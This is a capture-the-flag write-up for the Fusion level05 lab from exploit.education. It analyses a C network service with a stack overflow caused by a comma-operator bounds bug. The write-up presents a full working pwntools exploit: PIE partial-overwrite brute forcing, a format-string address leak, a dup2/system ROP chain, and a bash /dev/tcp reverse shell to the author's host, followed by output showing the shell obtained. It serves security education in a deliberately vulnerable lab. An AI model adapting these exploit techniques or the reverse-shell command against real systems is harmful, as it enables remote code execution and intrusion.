Fusion , finding the devil in the details and barely bypassing PIE
  • playing around with the fusion VM from exploit.education has been fun , I was too lazy to write writeups for exercices from 0 to 4 , but here we are , bypassing fully protected binaries !
Option Setting
Vulnerability Type Stack
Position Independent Executable Yes
Read only relocations No
Non-Executable stack Yes
Non-Executable heap Yes
Address Space Layout Randomisation Yes
Source Fortification Yes

Source Code Analysis

the code of the challenge is this :

#include "../common/common.c"    

#include <task.h>

#define STACK (4096 * 8)

unsigned int hash(unsigned char *str, int length, unsigned int mask)
{
  unsigned int h = 0xfee13117;
  int i;

  for(h = 0xfee13117, i = 0; i < length; i++) {
      h ^= str[i];
      h += (h << 11);
      h ^= (h >> 7);
      h -= str[i];
  }
  h += (h << 3);
  h ^= (h >> 10);
  h += (h << 15);
  h -= (h >> 17);

  return (h & mask);
}

void fdprintf(int fd, char *fmt, ...)
{
  va_list ap;
  char *msg = NULL;

  va_start(ap, fmt);
  vasprintf(&msg, fmt, ap);
  va_end(ap);

  if(msg) {
      fdwrite(fd, msg, strlen(msg));    
      free(msg);
  }
}

struct registrations {
  short int flags;
  in_addr_t ipv4;
} __attribute__((packed));

#define REGDB (128)
struct registrations registrations[REGDB];

static void addreg(void *arg)
{
  char *name, *sflags, *ipv4, *p;
  int h, flags;
  char *line = (char *)(arg);
  
  name = line;
  p = strchr(line, ' ');
  if(! p) goto bail;
  *p++ = 0;
  sflags = p;
  p = strchr(p, ' ');
  if(! p) goto bail;
  *p++ = 0;
  ipv4 = p;

  flags = atoi(sflags);
  if(flags & ~0xe0) goto bail;

  h = hash(name, strlen(name), REGDB-1);
  registrations[h].flags = flags;
  registrations[h].ipv4 = inet_addr(ipv4);

  printf("registration added successfully\n");

bail:
  free(line);
}

static void senddb(void *arg)
{
  unsigned char buffer[512], *p;
  char *host, *l;
  char *line = (char *)(arg);
  int port;
  int fd;
  int i;
  int sz;

  p = buffer;
  sz = sizeof(buffer);
  host = line;
  l = strchr(line, ' ');
  if(! l) goto bail;
  *l++ = 0;
  port = atoi(l);
  if(port == 0) goto bail;

  printf("sending db\n");

  if((fd = netdial(UDP, host, port)) < 0) goto bail;

  for(sz = 0, p = buffer, i = 0; i < REGDB; i++) {
      if(registrations[i].flags | registrations[i].ipv4) {
          memcpy(p, &registrations[i], sizeof(struct registrations));
          p += sizeof(struct registrations);
          sz += sizeof(struct registrations);
      }
  }
bail:
  fdwrite(fd, buffer, sz);
  close(fd);
  free(line);
}

int get_and_hash(int maxsz, char *string, char separator)
{
  char name[32];
  int i;
  
  if(maxsz > 32) return 0;

  for(i = 0; i < maxsz, string[i]; i++) {
      if(string[i] == separator) break;
      name[i] = string[i];
  }

  return hash(name, strlen(name), 0x7f);
}


struct isuparg {
  int fd;
  char *string;
};


static void checkname(void *arg)
{
  struct isuparg *isa = (struct isuparg *)(arg);
  int h;

  h = get_and_hash(32, isa->string, '@');
  
  fdprintf(isa->fd, "%s is %sindexed already\n", isa->string, registrations[h].ipv4 ? "" : "not ");

}

static void isup(void *arg)
{
  unsigned char buffer[512], *p;
  char *host, *l;
  struct isuparg *isa = (struct isuparg *)(arg);
  int port;
  int fd;
  int i;
  int sz;

  // skip over first arg, get port
  l = strchr(isa->string, ' ');
  if(! l) return;
  *l++ = 0;

  port = atoi(l);
  host = malloc(64);

  for(i = 0; i < 128; i++) {
      p = (unsigned char *)(& registrations[i]);
      if(! registrations[i].ipv4) continue;

      sprintf(host, "%d.%d.%d.%d",
          (registrations[i].ipv4 >> 0) & 0xff,
          (registrations[i].ipv4 >> 8) & 0xff,
          (registrations[i].ipv4 >> 16) & 0xff,
          (registrations[i].ipv4 >> 24) & 0xff);

      if((fd = netdial(UDP, host, port)) < 0) {
          continue;
      }

      buffer[0] = 0xc0;
      memcpy(buffer + 1, p, sizeof(struct registrations));
      buffer[5] = buffer[6] = buffer[7] = 0;

      fdwrite(fd, buffer, 8);

      close(fd);
  }

  free(host);
}

static void childtask(void *arg)
{
  int cfd = (int)(arg);
  char buffer[512], *n;
  int r;
  

  n = "** welcome to level05 **\n";

  if(fdwrite(cfd, n, strlen(n)) < 0) goto bail;

  while(1) {
      if((r = fdread(cfd, buffer, 512)) <= 0) goto bail;

      n = strchr(buffer, '\r');
      if(n) *n = 0;
      n = strchr(buffer, '\n');
      if(n) *n = 0;

      if(strncmp(buffer, "addreg ", 7) == 0) {
          taskcreate(addreg, strdup(buffer + 7), STACK);
          continue;
      }

      if(strncmp(buffer, "senddb ", 7) == 0) {
          taskcreate(senddb, strdup(buffer + 7), STACK);
          continue;
      }

      if(strncmp(buffer, "checkname ", 10) == 0) {
          struct isuparg *isa = calloc(sizeof(struct isuparg), 1);

          isa->fd = cfd;
          isa->string = strdup(buffer + 10);

          taskcreate(checkname, isa, STACK);
          continue;
      }
  
      if(strncmp(buffer, "quit", 4) == 0) {
          break;
      }

      if(strncmp(buffer, "isup ", 5) == 0) {
          struct isuparg *isa = calloc(sizeof(struct isuparg), 1);
          isa->fd = cfd;
          isa->string = strdup(buffer + 5);
          taskcreate(isup, isa, STACK);
      }
  }

bail:
  close(cfd); 
}

void taskmain(int argc, char **argv)
{
  int fd, cfd;
  char remote[16];
  int rport;    

  signal(SIGPIPE, SIG_IGN);
  background_process(NAME, UID, GID); 

  if((fd = netannounce(TCP, 0, PORT)) < 0) {
      fprintf(stderr, "failure on port %d: %s\n", PORT, strerror(errno));
      taskexitall(1);
  }

  fdnoblock(fd);

  while((cfd = netaccept(fd, remote, &rport)) >= 0) {
      fprintf(stderr, "accepted connection from %s:%d\n", remote, rport);
      taskcreate(childtask, (void *)(cfd), STACK);
  }
}
  • we have here a program that let's you insert 'registrations' to the data base and view them etc... , here's more details :
  • the main function sets up its usual stuff , the most notable thing is that from each new client , a connection is created and with it a new File descriptor is made , and then a 'task' created for that specific client .
  • a task is a form of asynchronous computing , you pass to it a functions pointer , its argument and stack size and it is executed in the program's memory but is executed separately , meaning it is not like the previous challenges where a fork is created for each client , a major catch of this is that if the task does something like illegal memory access , the whole program will crash not just the task, this will be important later .
  • now the task that is created for each client is called childtask and it simply provides five commands :
    1. addreg : you pass to it a host name and an ip and it maps them to a slot in the registrations array using the hash functions as a kind of hash map .
    2. senddb : you give it an ip and a port and it simply sends you the database wich is the contents of the registrations array.
    3. checkname : checks if a hostname is already present in the database , and it uses a functions called get_and_hash for that, hint : here is our main vuln.
    4. quit : simply exits
    5. isup : sends the database to every ip in the database in the specifies port , there is a stack buffer overflow here , if the database is full , its size will be 6*128=768 bytes and it is written to buff wich is only 512 bytes long , but I did not use this .

The Vulnerability

  • our interest is in the get_and_hash functions :
int get_and_hash(int maxsz, char *string, char separator)
{
  char name[32];
  int i;
  
  if(maxsz > 32) return 0;

  for(i = 0; i < maxsz, string[i]; i++) {
      if(string[i] == separator) break;
      name[i] = string[i];
  }

  return hash(name, strlen(name), 0x7f);
}
  • the functions seems like it checks for bound , but the condition i < maxsz, string[i] always returns true as long as string is not null , it is treated as one block of code , the confusion here is that the , must have been a && for it to be secure , since then both conditions would be evaluated separately , honestly it took me loong to notice this .
  • giving it data generated by cyclic and examining it in gdb gives us a nice eip overwrite with offset 44:
$ nc localhost 20005
** welcome to level05 **
checkname aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
pwndbg> c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
>>> from pwn import *
>>> cyclic(50)
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama'
>>> cyclic_find(0x6161616c)
44

Exploiting strategy

  • now we have the overwrite , we need a leak.
  • the disassembly of checkname, show us :
   0x000027c0 <+0>:     sub    esp,0x1c
   0x000027c3 <+3>:     mov    DWORD PTR [esp+0x14],esi
   0x000027c7 <+7>:     mov    esi,DWORD PTR [esp+0x20]
   0x000027cb <+11>:    mov    DWORD PTR [esp+0x10],ebx
   0x000027cf <+15>:    call   0x1c67 <__i686.get_pc_thunk.bx>
   0x000027d4 <+20>:    add    ebx,0x3948
   0x000027da <+26>:    mov    DWORD PTR [esp+0x18],edi
   0x000027de <+30>:    mov    edi,DWORD PTR [esi+0x4]
   0x000027e1 <+33>:    mov    DWORD PTR [esp+0x8],0x40
   0x000027e9 <+41>:    mov    DWORD PTR [esp],0x20
   0x000027f0 <+48>:    mov    DWORD PTR [esp+0x4],edi
   0x000027f4 <+52>:    call   0x2720 <get_and_hash>
   0x000027f9 <+57>:    mov    ecx,DWORD PTR [ebx-0x14]
   0x000027ff <+63>:    lea    edx,[eax+eax*2]
   0x00002802 <+66>:    lea    edx,[ecx+edx*2]
   0x00002805 <+69>:    mov    edx,DWORD PTR [edx+0x2]
   0x00002808 <+72>:    lea    eax,[ebx-0x1897]
   0x0000280e <+78>:    mov    DWORD PTR [esp+0x8],edi
   0x00002812 <+82>:    test   edx,edx
   0x00002814 <+84>:    lea    edx,[ebx-0x1823]
   0x0000281a <+90>:    cmove  eax,edx
   0x0000281d <+93>:    mov    DWORD PTR [esp+0xc],eax
   0x00002821 <+97>:    lea    eax,[ebx-0x181e]
   0x00002827 <+103>:   mov    DWORD PTR [esp+0x4],eax
   0x0000282b <+107>:   mov    eax,DWORD PTR [esi]
   0x0000282d <+109>:   mov    DWORD PTR [esp],eax
   0x00002830 <+112>:   call   0x26a0 <fdprintf>
   0x00002835 <+117>:   mov    ebx,DWORD PTR [esp+0x10]
   0x00002839 <+121>:   mov    esi,DWORD PTR [esp+0x14]
   0x0000283d <+125>:   mov    edi,DWORD PTR [esp+0x18]
   0x00002841 <+129>:   add    esp,0x1c
   0x00002844 <+132>:   ret
  • we control where get_and_hash returns , so my idea is return into the line :call 0x26a0 <fdprintf> , then fdprintf will be called with the arguments of get_and_hash , which are : get_and_hash(0x20,arg(user controlled sting),separator) ,
  • so we need our connection to have a file descriptor equal to 0x20=32 , this is convenient since we can just spam connections , and since each new thread will take the lowest possible free fd , all we have to do is open 29 client threads (the three first fds are reserved for stdin stdout and stderror) , and the 29 = 32-3 will have the exact fd of 32 .
  • then we will supply the string we control with a format %p%p%p%p%p%p%p... and see what we get from that
  • now you might be asking ,how the hell I am gonna know the address of the line that calls fdprintf with PIE enabled ? I don't . I will do a partial overwrite , thank god for little endian ! , i don't need to touch the highest two bytes since I can jump anywhere in the text section by overwriting the lowest two bytes .PIE randomization is page-aligned , meaning the lowest three nibles (half bytes) of the address are the same across all runs , we have only the fourth nibble that's unknown , but it can only shift between 16 values (0 to 0xf) , and even with the slow rate that the VM revives the process , this is bruteforce-able ! , an interesting point is that values 2 to 7 repeat a lot so i only cycle through them as PIE also changes across runs . (and thus barely bypassing PIE)
  • doing this gets us two nice libc and .text addresses in the leak
b'\**\n0x400x5784a6ec0x20x57839de00x5784a80c0x565e6396aaaa'

b'0x57839de00x565eb5a0(nil)(nil)(nil)(nil)0x565e63800xf7d2aa8bbbb'
0xf7d2aa8b
  • the address righ before aaaa is always of a fixed memroy across runs and thus always withing a specific offset of the base address

  • the address right before bbbb is also always the address of the function makecontext plus 75 bytes , and so I can also dynamically calculate libc address from it (even with different versions of libc , using ELF processing in pwntools i can get the offset of makecontext dynamically and add 75 ; as long as the functions itself is the same we'll be just fine)

  • so now we have the addresses of libc and the program base ! ,but we are not finished yet , simply making a rop chain of system + /bin/sh address , because system's default IO is done with the default file descriptors stdin , stdout and stderror ;0 ,1 and 2 respectively . meanwhile our program only communicates using its socket with fd of 4 (after all the other earlier instances are closed)

  • so what I did is chain a call of dup2 which duplicates and fd to another , meaning if I dup2(4,0) , I can effectively give input to system , and from them spawn a reverse shell with full IO .

  • setting the arguments dup2 in the chain is not an option , since i cannot put nulls ,and the binary representation of the numbers 4 and 0 is full of them , so I filled the stack of ret gadgets until I reached a place in the stack that's full of 0x0000000 all over and then after the ret chain i did this :
    dup2addr+childtaskaddr+0x04

  • this calls dup2 , sets childtask as the return address so after doing our thing we can do another ROP to call system , the tric here is that since the stack is full of nulls , overwriting a null address's lowest byte with 4 makes its value 0x00000004 (4!) and after that there is null pointer (value of 0) and there you got arguments perfectly aranged .

  • after the return to childtask we can do the overflow again, we can simply do a system+someretaddress+binshaddress, give it a reverse shell command ; and we're golden.

The Exploit

here is the exploit with some maybe useful comments:

#!/usr/bin/python3
from pwn import *
context.log_level='critical'
my_local_ip = '192.168.192.163' 
machine_ip =  '192.168.192.65' 
machine_ip = 'localhost'
level_port = 20005
port = 30334 # this port is used for the reverse shell
#setting the listening
serversocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
serversocket.bind(('', port))

# libcelf = ELF('./libc.so.6') this is the one I downloaded from the vm
libcelf = ELF('/usr/lib32/libc.so.6') #for local testing

level5elf = ELF('./level05')
libc_leak_offset = libcelf.symbols['makecontext'] + 75
fdprint_gad =0x0 #preparing it for assignement later 

#pads for the overflow 
def pad_bytes(buff,lenght,character):
    return buff+(lenght-len(buff))*character[0].encode()


''' loops over most possible values the fourth nibble of the PIE address \
if it is right it directs the program to childtask so it doesn't crash (the value changes each crash cause crashing a task crashed the entire process'''


def oracle(machine_ip,level_port,oracle_str):
    while True :
        for i in range(0x1,0x5):
            while True:

                #check if the process has been revived yet if not wait one sec
                try :
                    p = remote(machine_ip,level_port)
                    resp = p.recv(timeout=4).decode()
                    p.close()
                    if  oracle_str in resp:
                        break
                    continue
                except:
                    sleep(1)
                    continue
            #after the process is revived , try the jump to return so we can return to childtask and then quit , keeping the process intact
            addre = i*16**3 + 0x830
            print('trying : ',hex(addre))

            p = remote(machine_ip,level_port)
            p.send(b'checkname '+pad_bytes(b'',44,'a')+p16(addre+5))
            sleep(0.5)
            p.send(b'quit')
            p.close()
            #if it works , connecting to the process should send us the welcome str (oracle_str)
            try :
                p = remote(machine_ip,level_port)
                strrecvd = p.recv(timeout=5).decode()
                if oracle_str in strrecvd :
                    print('FOUND PIE LOWER HALF BYTE : ',hex(i))
                    p.close()
                    return i*16**3
            except:
                p.close()
                continue
        #if not try next value 

#getting the byte
byte = oracle(machine_ip,level_port,'level')
#updating the gadget address
fdprint_gad = byte+0x830

def leak():
    #collect connections to close them later
    connections=[]
    for i in range(0,29):
    # only on the 29th one 
        if i == 28 :
            try:
                #doing the overflow and jump to fdprint with the right arguments
                p = remote(machine_ip,level_port)
                connections.append(p)
                p.send(b'checkname '+pad_bytes(b'%p%p%p%p%p%paaaa%p%p%p%p%p%p%p%p',44,'b')+p16(fdprint_gad))
                leak = p.recvuntil(b'aaaa')
                leak2 = p.recvuntil(b'bbbb')
                #process the leaks
                print(hex(int(leak2[-13:-3].decode(),16)))
                libcaddr = int(leak2[-13:-3].decode(),16)-libc_leak_offset#252555#+1248
                baseleak=leak[-14:-4].decode()
                base = int(baseleak,16) - 17302 

                continue
            except:
                continue
    # if not 29th process , open a connection , add it the the collection for closing and let it hang now (to keep the file descriptors up)

        p = remote(machine_ip,level_port)
        connections.append(p)
# at the end close all connections, so the next fd will be  4 (for the dup2)
    for con in connections:
        con.close()

    return libcaddr,base


for i in range(3):
    try :
        libcaddr,base = leak()
    except:
        continue

if libcaddr == None :
    exit()

print('BASE ADDRESS LEAKED :',hex(base))
print('LIBC ADDRESS LEAKED :',hex(libcaddr))
#update addresses and get offsets

libcelf.address = libcaddr
level5elf.address = base

binsh_libc_addr = next(libcelf.search(b"/bin/sh\x00"))
system_libc_addr = libcelf.symbols['system']
dup2_libc_addr = libcelf.symbols['dup2']
child_task_addr = level5elf.symbols['childtask']
ret_gadget = child_task_addr + 545
pop2ret_gadget = child_task_addr + 513

#the two rop chains 
p = remote(machine_ip,level_port)
p.recv()
p.send(b'checkname '+pad_bytes(b'%p%p%p%p%p%p',44,'a')+17*p32(ret_gadget)+p32(dup2_libc_addr)+p32(child_task_addr)+p8(0x4))
p.send(b'checkname '+pad_bytes(b'%p%p%p%p%p%p',44,'a')+p32(system_libc_addr)+p32(child_task_addr)+p32(binsh_libc_addr))
#no idea why it does not work without the sleeps
sleep(0.5)
p.send(b'ls\n')
sleep(0.5)
#reverse shell on port 1666
processarr = ['nc', "-lp" ,'1666']
reverse_shell = b'bash -i >& /dev/tcp/'+my_local_ip.encode()+b'/1666'+b' <&1\n'
shell = process(processarr)
p.sendline(reverse_shell)
shell.interactive()

Running the Exploit

$ ./exploit_level05.py
trying :  0x1830
FOUND PIE LOWER HALF BYTE :  0x1
0xf7cd1a8b
0xf7cd1a8b
0xf7cd1a8b
BASE ADDRESS LEAKED : 0x5659f000
LIBC ADDRESS LEAKED : 0xf7c94000
bash: cannot set terminal process group (10642): Inappropriate ioctl for device
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
\x1b]0;root@root:/\x07[I have no name!@root /]$ $ whoami
whoami
whoami: cannot find name for user ID 20005
\x1b]0;root@root:/\x07[I have no name!@root /]$ $

and voila.